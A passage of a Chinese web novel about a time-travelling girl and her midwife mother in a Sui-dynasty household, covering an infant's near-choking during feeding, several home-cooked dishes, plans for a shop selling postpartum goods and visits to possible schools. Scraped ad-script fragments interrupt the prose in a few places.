但听着一声声撕心裂肺号啕,莫婤也红了眼,若她与母亲再晚几步,就真的救不回来了! 见有莫婤安慰高夫人,莫母方才有功夫,怒容满面地追问道: “究竟怎的让小公子陷入此等险境?” 一旁冷静下来的郑妈妈,抹了抹泪,几步上前,讲述了前因后果。 今晨,高夫人见天气寒凉,唯恐小公子生病,便一早来查看。 正巧,遇上奶娘们准备给他喂奶。 见夫人前来,她们争相表现,最终是那位以丰腴玉房著称、奶水丰盈充沛的奶娘,抢到了这个机会。 喂养时,小公子也很给面子,吃得很是生猛。 可越吃,他的肤色越不对劲。 夫人一直仔细瞧着小公子,见此状直接将乳首拔了出来。 可小公子却呛咳不止,口中乳汁如泉涌般喷射而出。与此同时,脸色愈发青紫,仿佛被无形之手扼住了咽喉。 高夫人慌乱之际,头脑一片空白,只口中下意识吼着——找顺娘。 杏雏反应最为机敏,头一个冲了出去,只是同莫氏母女恰巧错过。 听完郑妈妈的讲述,莫母沉声问道: “是如何喂奶的?” “就——就——”跪在最前面的奶娘,哆哆嗦嗦说不出话来。 莫母看向跪在后面,挤作一团的其他奶娘道: “尔等若守口如瓶,必与她共担责罚。” 此番厉色胁迫下,一面容圆润、怯生生的奶娘,壮着胆子,颤声道: “平日皆以抱坐之姿,今个许是赖娘子欲使夫人瞧得更明晰,故卧于胡床上喂的。” 听罢,莫婤大概知道原由了。 这种情况,在现代产科被称为“黑娃”,即是婴儿在吃奶时出现面色青紫、呼吸暂停等窒息症状③。 婴儿进食时,特别是快速或大量吞咽时,本就容易将奶液误吸入气管,再加上平躺喂奶的体位,更加剧了误吸的概率,引发了短暂窒息。 “尔等竟不晓竖抱哺乳之理?④”莫母怒气难抑,她最初便已悉心教授,岂料众人竟置若罔闻。 余下奶娘噤若寒蝉,不敢再辩。 赖娘子自知理亏难掩,却仍强辩道: “妾身此举,实为夫人洞察细微!” “分明是你逞能,想独揽功!”此时,赶回来的杏雏气喘未定,却愤而斥责:“你为了卖弄,竟置公子于险境!” “若夫人不来观瞻,安有此事?”赖娘子依旧狡辩,竟牙尖嘴利的想将锅推到高夫人身上。 “你还推卸责任?!”莫婤最厌恶此等推诿之徒,红眼怒斥,想上前踹她几下。 自幼时起,于父母各自家中作客,莫婤常被迫帮一半血亲的弟弟妹妹,背各种黑锅,此情此景,最令她心生厌恶。 此时,高夫人已恢复镇定,自莫婤颈项间缓缓抬首,以素帕轻拭莫婤额际不知是汗是泪,而后为己拭去泪痕,淡然道: “既觉是我之过,那自今日起,尔等便离去罢,我自行喂养。” 15.红豆沙麻薯 话语方歇,高夫人缓缓起身,理鬓正衣,微扬螓首,向秋塘略一点头,后续琐事,皆悉数交付。 随后,携莫婤柔夷,唤上正抱着小儿轻哄的莫母,穿过落地棂花罩,掀起金丝银络珠帘,步入内室。 留下一室静谧,和趴在地上惶惶不安的奶娘们。 内室幽静,帷幔低垂,高夫人斜倚于罗汉床畔,半卧的身姿上,搭了一桑蚕丝被,上面绣着山隐鹿鸣图。 脚踏旁,莫婤燃了香凝熏笼,香附子、艾叶细袅,悠悠弥散室内。 见莫母欲将襁褓轻置于床榻之际,高夫人螓首轻摇,唯恐辗转反侧之际,再不慎累及稚子。 于是,她吩咐忆梅,铺了胡床安置小儿。 莫婤方凝眉思索,筹谋如何说服现今视小公子如眼珠子的高夫人,让其独卧一床,见此情景,轻舒了一口气。 毕竟,在现代,此类案件频发。 刚生产完的母亲,因体力不支,在喂奶时无意识睡着了,涨大的玉房直接将婴儿憋死了。 见跪坐在蒲团上,守着不让小公子滚下来的袖莲,莫婤又想起了婴儿床。 不过,此等物件,独靠她自己是做不出的,她欲画好样子后,再告知高夫人。 重帷之下,高夫人面显倦容,莫氏母女二人轻换眼神,悄然敛步退出。 仅余忆梅玉袖莲二人,静默守护于侧,侍奉夫人与小公子安然入梦。 惦念夫人方才遭受惊吓,莫母决意为其研煮一剂琥珀安神汤。 遂嘱赵妈妈,找琥珀、荆芥、泽兰、当归、赤芍、肉桂等药材后,母女二人等在小厨房。 莫婤扫视小厨房内,诸般物华错落有致,当目光触及泡着的红豆时,思绪翩跹间,忽而想到甜食。 甜食中的糖分能够促使大脑释放血清素和多巴胺,让人感到放松和快乐。 “倪娘子,这红豆泡了多久了。”莫婤噔噔跑过去,拉着一妇人问道。 这倪娘子,瓜子脸,抹额包起碎发,余下由银簪盘起,未施粉黛,却点了唇,耳上还坠了对银珠耳珰,瞧着很是讲究。 “莫小娘子,泡了一夜了,原是要做红豆花糕的,你想用只管拿了去。”倪娘子知她此时问,定是用得上,忙回道。 莫婤听后眼睛一亮,她要做道新奇的甜食,红豆沙馅的麻薯。 同倪娘子道谢后,抬起木盆,过滤剩下红豆后,倒入铁锅中。加水,大火煮沸后,转至小火,直至红豆完全软化。 过井水,冲掉红豆皮的涩味后,用石臼捣烂,成泥状。 铁锅内,抹上层油,将红豆泥倒回锅中,加细砂糖,文火慢慢翻炒,直至成绵密且能抱团的红豆沙。 将糯米粉和面粉过筛,加入牛乳、汤和甜杏仁油后,和面后,再将其分成李子大小的剂子。 将剂子压扁,裹入红豆沙,再搓圆封口,放入蒸笼,大火蒸上一盏茶的功夫,直至其变得透明。 同时,又向豆腐西施付娘子,讨了一把黄豆,炒熟后,磨成粉,做成黄豆面。 蒸好的麻薯,外表晶莹,透出中间赤色的红豆沙,还洒上了一层金色的黄豆粉。 糯米奶香,裹着红豆的清甜,将远处剁肉的祝大娘又招了来。 “祝大娘,这次可不能再上手了,这更烫!”莫婤见状,急急护住麻薯。 “瞧小娘子说得,我就是帮你尝尝鲜!”祝大娘笑道,“你瞧,倪大娘也馋得紧,她泡了一宿的红豆子,给你做了嫁衣,你不送她一块?” 莫婤眼也不抬,就死死守着祝大娘:“少挑拨,一会我再做可没你的份了。” 说罢,莫婤用帕子包手,连着蒸笼端走了麻薯。 “小娘子,我说笑的,一会可别忘了我。”祝大娘在后面吼着,莫婤理也不理,回到了莫母身旁。 莫母方才备齐药材,正洗着,见莫婤已做好,忙让她趁热先给夫人送去。 莫婤捧着小蒸笼,轻手轻脚地绕过一架螺钿描金座屏,头探过云母绸花帘,见袖莲点头示意后,方提步入内。 高夫人已醒,忆梅正为其调整金银錾花抹额。 “又是何佳肴?”见莫婤端着蒸笼,高夫人悦声问道。 同时让袖莲帮忙,将其置于高脚漆木食案上 “红豆馅麻薯,这红豆可是倪娘子泡了一宿……”莫婤边讲解,边扶起高夫人,伺候其品尝。 她将麻薯在黄豆面里滚了一圈,放入高夫人漆器飞鸟盘内。 高夫人先还算矜持,夹起,轻啮一口,甘甜香浓,细腻流沙,一下便将她摄住。 咽下后,还不自觉地舔了舔唇瓣,立即又是第二口,第三口就将麻薯整个包了进去。 豆沙香甜,麻薯皮糯,还不粘牙,高夫人头也不抬地吃着,不知不觉中,半笼下肚。 许是受到奶香麻薯的诱惑,一旁胡床上的小奶娃也哼唧起来。 莫婤望他不住地动小嘴,吐泡泡。遂净手后,用指腹轻点其唇周,见其欲舔她指尖,知他定是饿了。 这时,莫母亦端着一托盘步入室内,托盘内是盛着琥珀安神汤的青瓷莲纹碗。 药味一冲,甜香瞬间被苦涩霸占,小奶娃“哇——”地吼了起来。 “看来也是个喜甜的,像夫人。”莫婤一面同高夫人调笑,一面对莫母道:“阿娘,小公子饿了!您快来教教夫人。” 听罢,莫母快步上前,搁了碗,开始指导高夫人如何给小公子喂奶。 高夫人知此事至关重要,亦全神贯注地学着。 起初还有些紧张僵硬,渐渐地放松些,又被小公子用猛劲,吸得生疼。脸色都有些发白,额间更布了一层细汗,仍一声不吭。 忍过开头,待公子吸吮顺畅后,高夫人愈发渐入佳境,得心应手起来。 一旁瞧着的莫婤,本还怕高夫人有心理阴影,见她适应的这般快,不得不再次感叹“为母则刚”啊! “夫人若每日都这般喂,日后的通乳汤也可停了。”莫母见高夫人今日还未用药的玉房,明显松了下来,安慰道。 见还能少吃一幅药,高夫人更是坚定了自己喂养的决心。 莫婤不知她那日在高夫人心中播下的种子,起到了多大的效果,但亦十分高兴自己给夫人提供了“自行喂养”这个选择性。 思及此,为了高夫人能喂养得更顺利,莫婤还避着莫母,悄悄同她讲了喂奶后拍奶嗝的秘方。 毕竟隋朝,还没有拍奶嗝这一说法,她也难以向母亲解释,只能先瞒住。 小奶娃饱餐一顿,随即安然入睡,呼吸均匀绵长。莫婤直呼这孩子也太乖,太好带了。 饿了就哼唧两声,拉了就咕哝两声,逗急了才哇哇几声。醒时目光炯炯,也不哭闹,就盯着鲜艳的物件瞧,但大多时候都睡得香喷喷的。 连经验颇丰、见多识广的莫母,都直言小公子是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她见过最好带的。高夫人亦是一脸骄傲。 见高夫人彻底缓过来,莫母方同她提及莫婤上学之事。 闻言,夫人果真很是看重,甚至考虑起送莫婤入族学。 莫婤闻及族学二字,心中对大户人家的刻板印象又犯了,脑海中都是浮现的都是藏污纳垢、错综派系斗争之景。 她是想去学本事的,不想拉帮结派,更不愿成高府子弟的跟班奴仆。 虽同莫婤相处不久,但高夫人却隐隐觉其,娇憨随和下的成熟自尊。 一时,竟能隐约洞察其虑,遂改弦易辙道:“然则府中未诞千金,婤婤孤身前往,我担忧她遭欺凌。” 见莫婤重重点头,高夫人轻拢其发包,又道:“女红、礼仪等可同晚娘学。至于诗书,则待我详察长安诸塾,择优荐你。” 莫氏母女自是谢过,但想到晚娘的情况,莫母有些迟疑:“晚娘现今还愿意教吗?” “又不是让她收徒,仅需引领一二,料应无妨。”听莫母这么一说,高夫人也有些拿不准。 眼见长辈犹豫不决,莫婤主动请缨:“夫人、阿娘放心,我自己去找晚姨说。” 前些时日,吴娘子日日同她送午饭,她们已然混熟,还教过她几招擒拿术,她同晚娘亲密,请她牵线搭桥,应能成。 她独自前往,也是为免逼迫感太强,唤起晚娘不好的记忆,就不美了。 “行,我还不信有你这小狐狸办不了的事!”高夫人显然对她很有信心,听罢一口应了下来。 复又提及今日之事,竟起身向莫母盈盈一拜。 莫母自是闪身避过,直言:“夫人请我为您食客,这是我分内之事!” “能请到顺娘,实我之幸啊!”高夫人感叹道,追问其所需,意欲厚赐。 莫母很有分寸,也无心驰神往之物,遂未径自陈请,只瞧了瞧女儿。 女儿这般年纪想要稀奇玩意自是多的,她主动提出也不冒昧。 见莫母将求赏之机给了自己,莫婤心念一动。 高夫人见她跃跃欲试之态,含笑言:“你先前之言,我亦是赞同。待今晚我问过夫君,过了明路,我邀你前来商量细节。这个不算,再想些别的。” 莫婤轻抚鼻尖,羞赧一笑,继而启齿:“不若夫人将我们屋旁那块空地赏我们,围了做院子罢,能种些草药香辛,平日做些吃食也方便。” 眼瞧着春日将至,莫婤欲在春意融融之际,种下小葱、芫荽、姜蒜等香辛,还有她最宝贝的茱萸。 前世莫婤家住一南方小镇,辣意浓烈。穿越至隋,没了辣椒,只能用茱萸解馋,所以她尤其宝贝,连搬至高府时,都要拿个大脚盆,养在熏笼旁。 恐其春日间枝繁叶茂,脚盆空间局促,近来莫婤很是焦虑。 莫母亦常捧她带根的药草,叹惋声声,一听便是想再养。 莫婤观察丈量过,她们的屋子虽在最边上,离最外围的院墙却还有十几步的距离,完全能围个院子。 在她的小间,开一道门,直通院子,能种菜种药,做饭赏月,岂不快哉! 纵肉香飘溢,莫婤亦不想自己的被子褥子、衣物都染上油烟味。 现今,屋中还有那日羊肉锅子的味道,褪下香味,逐渐显露出膻味。 莫婤提出了构想,高夫人沉思片刻,念高府布局未受影响,欣然允诺,还立即召来赵妈妈,让其去找砌墙的版筑匠。 16.南瓜咸肉蒸饭 许是麻薯满口余香,高夫人午间仅尝了几口小菜,余下的都赏了众人。 众人的份例,混着锅内炒剩的五香羊肉丝、爆浆猪肉丁、醋溜羊肝片……吃了个肚圆。 没了红豆,众人又哄着莫婤,捣烂绿豆,炒成沙,蒸了一大笼绿豆沙馅的麻薯。 莫婤分了一整盘给倪大娘,祝大娘只有一个,还是从罗大娘那抢去的。 罗大娘正在院里用石臼捣糍粑,见此扔了棒槌就来同祝大娘撕打。 两个虎背熊腰的胖婆子,围着石臼抱摔、推让,打得不可开交。 院中余下的丫鬟婆子都端着碗盆,围在院子里瞧,好戏下饭,吃得喷香。 莫婤亦蹲在朱漆雕花门槛上,见其独门打技,还学两招。 连高夫人都懒得出来阻止,还派杏雏转播。 这些婆子天天一把子气力,不消耗掉,总得给她惹出些旁的事。 最终以祝大娘鼻青脸肿、罗大娘头发有些斑秃告终。 看完戏,莫母拎着两根羊蝎子、一捆梭子蟹回屋,身后莫婤抱个小南瓜跟着,怀中还藏着几个冻梨。 一路上,自少不了被打量,却没见红眼病来酸,莫氏母女深觉不对劲。 行至下人院,她们屋旁小院已有雏形,前后两堵墙,砌好了一半。 版筑匠是一对夫妻,黄大哥穿着粗布短衣,身材高大魁梧,春大嫂用一方蓝巾束发,干练利落。 同他们认识后,莫母抓了把铜钱给监工的婆子,带着莫婤进屋收拾食材。 在瓦缸中洒了把盐,撒下沙,养梭子蟹;羊蝎子泡上井水,冻起来。 又从米瓮中瓦了勺大麦,炒至金黄,冲泡了壶大麦茶,给干得热火朝天的夫妻俩。 无事,莫母又拿出烟紫云锦缝裙。 莫婤则拿个木几,坐在她里间刚打穿的小门处,看两口子砌墙。 见新砌垣墙渐完工,她又央他们靠着三方壁垒,划出三片宽约一米的苗圃。东隅墙角处,还垒了个土灶,只是还要晾上三五日方能用。 这儿的规矩,做工是要包饭的。 莫母去大厨房换回了一巴掌大的瘦肉、一篮土蛋、一块火腿和几根冬萝卜。 在罗汉床底搬出瓦罐,莫婤在瓦罐的草木灰中,刨出一块咸肉,咸肉洗净后切成小块,再放入铜锅中煎出油。 将土鸡蛋打散,加入火腿丝,搅匀后,倒入油锅中,爆香,起锅备用。 莫母洗净南瓜后,从顶端剖开一个小盖,挖去南瓜籽和中间的果肉,将大米混着炒香的肉、蛋、火腿塞入南瓜内。 倒入酱油、花椒油、葱姜蒜等调味后,放入蒸笼。 蒸南瓜饭的间隙,莫母快速将瘦肉剁成肉糜,在泡菜坛子里抓了把酸豆角,切碎混着肉糜,加了调料,炒了盆下饭的肉末酸豆角。 莫婤还支了个炭盆,用烧水壶煮了一盆萝卜汤。 或是活太累,或是油盐肉菜太有滋味,两口子都没顾上客气,吃得大快朵颐。 用过饭,莫母另付了多出的砖瓦费,送他们走了。 回来时,竟又带回了庞大娘。 庞大娘参观了她们新围的小院羡慕不已,她早在府外购了几处宅子,但独女嫁人后,深觉宅子冷清,便搬回了高府,女儿归宁方回。 府中热闹,有人气,就是住的小了些,更别说有院子了。 莫母见状,拉了庞大娘,坐在小院中胡聊,一旁的莫婤搬出火炉子,亦在院中忙活她给晚娘的见面礼。 庞大娘自然而然提及了那些奶娘的后续。 秋塘只敲打了她们一番,还是给了公道的红封。对赖娘子更是厚待,专派人去猎户家中,买了一筐子狼心狗肺,帮她送至家门口,好生宣扬了一番她的功绩。 黄昏前庞大娘出府办事,专程绕了一段路,只见她家门外堆满了烂菜叶子,门上还有流黄的烂鸡蛋。 “她可舒坦了,不用出门就有白送的蛋菜。”莫母听罢促狭道。 “她名声是好不了了,你名声却是小心些罢。”庞大娘忽而提醒莫母,“府里都传你是个厉害角色,连少夫人的老陪房都说赶就赶。” “怕我才好呢,别来扰我清静。”莫母才不稀罕当弥勒佛,况且,这也是她有意在府中立威的结果。 庞娘子哪有不懂的,只是叹气道:“小婤在下人院中难有玩伴了。” “不用考虑我,也别来扰我清静啊!”七分心思做礼,三分心思吃瓜的莫婤听闻,忙表态道。 她本就不是真小孩,陶小娘子一般的人精,她害怕;过于幼稚的熊孩子,她厌烦。 都别来沾边才好呢,可让她一个人清静些罢! 但一想到在私塾,不可避免同破小孩接触,莫婤心中又升起烦闷。 摇了摇头,还是专心做见面礼罢。 今这见面礼是一道药膳——枸杞黄芪明目汤 养着的半篓虾杀了,去头剥壳,挑出虾线后,加入枸杞子、黄芪、莲子、女贞子,一道放入砂锅中用文火炖上半个时辰。 熬好后,过滤药材,加盐调味后,连虾一道倒入温碗中。 她正将温碗纳入布囊,吴娘子来接她,独留莫母招待庞大娘。 晚娘竟就住在,莫家屋子正后方的后罩楼二楼。 莫婤是个宅女,穿来隋朝,除去高夫人院中,哪儿也不愿去。就连这日日住的下人院,亦只在搬来时同莫母转了转,仅认得路。 况且,她这短胳膊短腿,上楼都磕磕绊绊,只能手脚并用往上爬。待爬到晚娘门前,她小脸都喘得红扑扑的,煞是可爱。 “咚咚咚——”莫婤轻轻敲响了门。 “谁呀,就来。”一道温婉的声音从门内传来。 一开门,晚娘首先瞧见的是人高马大的吴娘子。 “你怎的又来,不是刚走?”晚娘见是她展颜道。 “本就不想走,是去接她了。”吴娘子手按在了莫婤的头上道。 “吴姐姐,说老多次了,摸头长不高。” 莫婤先挥开她的手,再对晚娘欠身行礼道, “晚姨好,我是新至高府食客,莫家顺娘的女儿莫婤,您可唤我小婤,但我娘唤我婤婤。” “为何她是姨,我就是姐?!”吴娘子见她在晚娘面前规规矩矩,愤愤不平道,“你这泼猴,还装起文雅来了。” “谁叫你没正形,是姨姨的样吗?”莫婤反击道,“我本就文雅,是跟你学得顽皮!” “噗嗤——”见二人在门口拌起嘴来,方见到莫婤便浑身绷紧的晚娘,放松下来,亦开玩笑道,“快进来吧,家丑不可外扬。” 她们见晚娘放松下来,也不再插科打诨,跟着进了屋子。 屋中布置的很是精致,摇光映翠屏风、青瓷映月花瓶、金猊献瑞香炉、银线流苏帷幔…… 看了晚娘的屋子,莫婤恍觉她那小间就是泼猴的水帘洞,乱糟糟、光秃秃的。 坐上绮罗花簇绣墩,莫婤送出了怀中的见面礼:“我亲手熬的药膳,清眼明目,正适合晚姐姐累了整日的双目。” “怎又叫姐姐了?”晚娘接过温碗,将其置于楠木雕云 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 食案上道。 “姐姐更亲近,方才是害羞了。”莫婤挠挠头,有些扭捏的说道。 心中暗叫:晚娘这等倾城之貌,谁还喊得出姨姨! “婤婤是个颜控!”吴娘子一面摆出碗勺,一面调侃她。这词还是莫婤教她的,见晚娘不懂,笑着同她解释。 “日后找郎君可不能颜控,多的是表里不一的男人。”晚娘听罢,笑着劝道。 莫婤满脸无奈,她这身子未至七岁,此时担忧也太早了些。这同张无忌娘警告他的话,有异曲同工,不过他防女,她防男。 吴娘子陪晚娘喝了碗汤,连连称赞,见时候差不多了,莫婤便提出能否让晚娘指点女红。 “你那也叫女红?”吴娘子是见过莫婤缝胸托的,那手艺还比不上舞刀弄枪多年的她。 莫婤知她说的是事实,没法反驳,只好瞪了她一眼。 晚娘亦瞪了吴娘子一眼,还掐她一把道:“若只是指点自无不可,只是我现今还不愿收徒。” 莫婤点头理解,她们这些宫中出来得绣娘,自是要寻个好徒弟。她亦志不在此,只来都来了,多少得学些。 约好每日申时指点一个时辰后,见天色不早了,吴娘子便送莫婤回去了。 而另一旁,夫人院中,高夫人正向高大人打听长安城像样的私塾。 “儿子上族学不就成了?”高大人很是不解。 “是我新招的食客的女儿,那女娃甚得我心,我可得让人好好教,别给我教坏了!” 高夫人涂着祛除妊娠纹的油脂,一本正经道。 这油脂是莫婤用杏仁油,加些香露,辅以祛疤除纹的药草做成的。 高夫人见其滋润香甜,日日睡前都要用上,妊娠纹竟真淡得快瞧不见了。 “是你新收的稳婆的闺女?”高大人对府中食客自是了如指掌,听她提及一女童,复想到接生那日见到的小人精,心中还隐约有些印象。 “是啊,这女娃可聪慧了,她还同我说要开铺子!”提及莫婤,高夫人顺势出了这个想法。 高大人一听小女娃还有经商的本事,亦来了兴趣:“要开什么铺子?家中没有此类铺子?” “是产后恢复用物的铺子。” 高夫人一面说,一面取下搭在屏风上的收腹带道: “收腹带、我身上的胸衣、我刚抹上的油,还有别的玩意,弄到一起,开个铺子,专给产后女子的。别说我们府上,就整个长安城都没这种铺子。” 高大人一听是女子之物,没了兴趣,敷衍道:“想开便开,这等小事你拿主意便可。” “你想得简单!”高夫人见他又开始和稀泥不管事,横了他一眼,也不多解释,待做大做强了定要抓住机会揶揄他。 思索间,烛光下的高夫人,眼中波光流动,刚刚为了展示胸托,敞开了亵衣。 淡紫的抹胸,衬得皮肤白皙细腻,在胸垫和肩带的托起下,双峰高耸有形。 随着呼吸,双峰一起一伏,胸托间的双鱼交尾图似在双峰间游动,煞是惹人。 “我觉得这铺子很有必要开!”高大人心中痒痒道:“夫人这小衣真好看!” 高大人被这幅美人宽衣露胸图,刺激地乱了呼吸,即刻就改了口。 “老不正经的!”高夫人骂,少见有些娇嗔,但随即将高大人赶出了房门,“我身子还没好利落,你找姨娘去罢。” 说罢,熄了灯。 又被赶出来的高大人,摸摸鼻子,去了张姨娘处。 张姨娘房中的灯,亮了一宿。 17.蟹膏虾头粥 晨光熹微,高夫人轻启绣帘,周妈妈已在旁侧,絮絮叨叨起昨夜之事。言及张姨娘行径轻佻,竟勾得高大人沉溺欢愉,直至宵阑。 杏雏侍立一侧,听罢亦是怒火中烧,紧攥秀拳,忆梅轻抚其背,示意冷静。 环伺诸人,瞬息间神色凝重,目光交汇,皆是暗暗窥探高夫人神色。 高夫人轻启朱唇,似有恍惚之态,随即神色一敛,戏谑道:“何须这般小心,我有我的宏图伟业要筹谋,哪有闲暇理会他莺燕环绕。” 语毕,她素手轻挥,宛若拂去了空气中的沉闷。 “去吧,周妈妈,去走一遭降降火,顺道告知顺娘,请安时带上小婤。” 周妈妈领命,恭敬退下,往下人院走去。 …… 晨起,莫婤裹上大棉袍,哆哆嗦嗦泡了珍珠米后,又睡了个回笼觉。 睡得正香,听闻莫母洗米的动静,在被中滚了一圈,还是起了身。 “阿娘,我想做虾蟹粥。”正刷着牙的莫婤,口齿不清地同莫母说着。 莫母昨日见她留了虾头,便知她用意,已帮她在盐沙中抓了三只梭子蟹备用。 梭子蟹刷洗干净,打开蟹壳,去除腮部和内脏,剁成五六块,并用料酒和姜丝腌制去腥。 舀一铜勺猪油,滑入热锅中,丢下虾头,煸出虾油,再加水大火煮上小半刻钟后捞出虾头。 黄澄澄的虾头汤内,倒入泡好的大米,煮至大米开花时,加入腌好的蟹块。 蟹块红透后,撒上胡椒粉和盐,再丢一筷子的芫荽、葱花,青红相间,惹人嘴馋。 粥香甫溢,氤氲升腾之际,恰逢周妈妈步履匆匆,扣响了门。 莫氏母女见是周妈妈,便邀她同食。 周妈妈一肚子火气,作势欲尝一口。只是粥还没入口,便细数起张姨娘的诸多不是,还爆出了瓜。 张姨娘原是张妈妈的远房侄女,大水淹了村,逃荒来投奔张妈妈。 夫人见她可怜,将其收为家奴。但不知何时,张姨娘对高大人起了心思,夫人察觉后,竟顺势将她推为姨娘。 前些时日,甚至容她生下了长子。 “接生那日,我们看到一处院子挂了挑红,是张姨娘处?”莫婤脑子转得快,一下便回忆道。 周妈妈嗤笑一声,不屑道:“除了她,还有哪个偏房娘子敢挂挑红,不知天高地厚。” “周娘子尝尝粥罢,今晨新鲜熬的。”见周妈妈越说越来火,莫母忙劝道。 银匙轻舀,慢火细炖出来的粥,稠滑绵香,甫触舌尖,入口即化,虾味鲜美,蟹膏腴留香。 周妈妈唇齿轻翻,先前的嗔怪早抛却脑后,口舌生津,欲罢不能,直至瓷碗底尽,方矜持地用绣帕擦了擦嘴。 莫婤喝着热粥,眼睛都眯了起来;莫母细细品尝着,唯恐亵渎了珍馐。 一时间,屋中只有勺碰碗壁的清响,与满足的叹息声。 喝了粥,散了火气,周妈妈带着莫氏母女回了高夫人院子。 夫人正摊着宣纸,盘算着开店前所需准备工作。 莫婤行至夫人旁侧,看了她列出的条目。 首先是,集娴熟绣娘,精研黹绣之工。 莫婤刚欲荐佳人,便见袖莲引着晚娘缓步入室,步履轻盈,似云中飘絮。 高夫人将收腹带、胸托等物交与晚娘,她仅须臾之间,目光流转,手指微动,一切技法了然于胸。 更妙想迭出,谈及如何令其更巧妙精美。 “晚娘,你曾居宫中,对达官显贵追捧的花样甚是了解,选绣娘备卖件等事便交与你。”高夫人嘱托道。 身为高府食客,晚娘自无他言,默许之余,思绪已在梳理,忆起旧识匠人,谁技艺超群,谁忠贞可信,谁又可招揽入麾下。 目睹晚娘陷入深思,莫婤适时添言: “还可划分四层档,一是珠玉映辉,献予勋贵;二是文采斐然,适于书香;三是锦绣琳琅,迎合豪贾;末者布素亲民,贴近黎庶。每档各寻擅此艺之秀女,再开班授课,延纳新人。” 闻此良策,高夫人频频颔首,赞不绝口。 勋贵喜珠翠罗绮,士族尚清逸雅趣,商贾恋繁花似锦,平民求实用安舒。 众人细酌分工,详议风格,终将此事托付晚娘。 送走晚娘,二人转向条目二,传授经商技巧。 此条一需聘请曾在绸缎行、布庄或绣房当差的管事,做掌柜;二需遴选形貌昳丽、辞令娴熟、应变自如者为肆员,淬炼其识鉴锦缎纹样、揣摩客心之能,兼修仪表礼数。 高夫人首向她成衣铺总管垂询,获荐三人以候详察,意在择取双璧,互为砥砺,相得益彰。 复命庞大娘于宅第之内,拣选机灵、会说话、有急智的丫鬟,先备齐八个,待商铺扩张,再添羽翼。 鉴于这类丫鬟多是主人心头好,可能不愿离开,也不易被放行,高夫人亦不愿别的院子掺和,分一杯羹,遂嘱咐庞大娘,其余妾室院子的丫鬟皆不要,若是人手不够,就去买。 庞大娘见夫人这般重视,将要求牢牢刻入脑中,匆忙寻觅去了。 第三个条目是,稳定原材料,保障货源。 此条目最为容易,高夫人,手握丝缎之庄十数,布肆亦然。今小店所需,不过沧海一粟,自是绰绰有余。 然夫人慧眼独具,择其质最优、供最稳之绸缎庄,召其主事,命之曰:若小店有需,必先供之。 高夫人思之,除却绣娘巧手制腹带、胸托,尚有祛肚纹油等物。 药材易得,高府自有药铺,供应无虞。 唯制此油需药婆、医女之助,虽稍繁复,却非难事。 莫母对此亦有人脉,闻之,主动领命,担此重任。 听着高夫人的运筹帷幄,莫婤心中惊叹连连。 不愧是高门大户的当家主母啊,这份缜密心思,这般手腕魄力,令人叹服。 在古代,男尊女卑如磐石压顶,欲破茧成蝶、独步苍穹,开疆拓土,成就一番事业,就必须超脱世俗偏见,拥有高于常人的胆量、魄力和智慧,而高夫人的本事也够现今的她学了。 莫婤拉回思绪继续梳理,又提出安全问题。 她们开的店铺多为女子试衣,隋朝并不太平,若有登徒子闯入,他们的名声可就毁了。 高夫人听罢,心中甚为重视,遂召吴娘子前来,命其招募武艺高强之女,训练成巡查之队,以保商铺安全。 又欲到铺子开张后,借高府人脉,托衙门熟人,增派巡逻,确保商铺安宁。 最后,便来到账目管理,查账、对账等事务。 高夫人原拟亲临督导,未料莫婤对此很是感兴趣:“阿姆,我是这店的小东家,岂能袖手旁观,我去管账。” “你这小手,能拨算盘?”闻言,高夫人半信半疑,但知莫婤轻易不会口出狂言,遂凝神询问。 “我不会,但我会算术。”说罢还让高夫人考她。 简单的她一口答了,难的她只在桌上划下几道后亦对了。 高夫人见之,直呼神童,非要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 让下人去催高大人,给莫婤打听的私塾找着了没。 由此,定下神童每月查账,还让她总管此间铺子大小诸事,以秋塘、忆梅襄助,郑妈妈、赵妈妈坐镇,凡事疑难杂症,逐级禀告至高夫人处裁断。 毕竟高夫人这般多庄子、铺子,花费如此多精力给这个小店,已是万分重视。 议程既定,众人遵令行事,待高夫人出月子之际,选址开张,万事俱备,只待东风。 …… 或是高大人重视夫人口谕,加之夫人频频敦促,及至晌午,竟真传来私塾佳音。 因高府暂无闺秀,高夫人少时是府内聘师授课,未曾料想私塾竟未有接纳女子的先例。 高大人多方打听,终觅得两处可让莫婤上学之所。 午膳后,高夫人命郑嬷嬷偕同秋塘,陪伴莫氏母女,去探那上学之地是否合乎心意。 首先造访的是柳府私设的女学,具是柳氏千金及旁系族人女郎。 缘于莫母救了难产的柳夫人,故特许莫婤跻身其间。 领她们的柳府管事介绍,其多是教授《女戒》、女红等,听罢授课内容,莫婤已兴致缺缺。 方至学舍门扉,她又闻得室内女子竞相攀比谁首饰更名贵,谁衣物最时新,更令她兴致索然。 入室之后,见衣着朴素的女子,竟皆沦为华服女子的跟班,唯唯诺诺,难见其独立之姿,终令她不悦。 唯有一女子,特立独行,似真为求学而来,但当她从抽屉中徐徐取出书卷,册页尽湿。 莫婤还在观察,还有女子上前奚落:“哪儿来的破落户,滚开,好狗不挡道。” 这柳家小姐着华冠丽服,头上珠围翠绕,三角眼上挑,黑眼仁斜了一眼莫婤后,又翻了个白眼,一脸嫌恶。 为出府方便,莫婤没戴夫人赐的项圈,只手腕圈了辟邪珠,鬓边簪了两朵莲花纹绢花。但穿的是烟紫云锦做成的短上襦,下面是一条同色系的素缎长裙。 虽不是富丽堂皇,但也绝称不上破落。 见此人这般无理,莫婤都懒得争辩,将白眼翻回去后,直接转身离去。 “大胆,你也配对本小姐不敬!”柳千金似是没被人如此对待过,竟怒急攻心要冲上来。 莫婤听罢,头未转,脚步亦未停,继续前行。 身后,郑妈妈一个箭步挡下,疾言厉色道:“小娘子须自重身份,如此无礼,岂非失了世家风度?” 郑妈妈连小时的高夫人都训斥,此时气势一端,柳千金吓在原地,又见柳府带路管事亦面露不赞同,遂不再纠缠。 高府一行人,方得以脱身。 此处莫婤断不会选,选这儿还不如高府族学,那能扯高夫人大旗,这儿只能挨欺负,还得忍辱负重,毕竟高夫人也不好为了一食客之女得罪手帕交。 另一处,则是城东郊外的尼姑庵。 有特设女学供奉信女研习佛法,只需些许香油钱,莫婤就可沉浸于梵音袅袅、经卷琳琅之境。 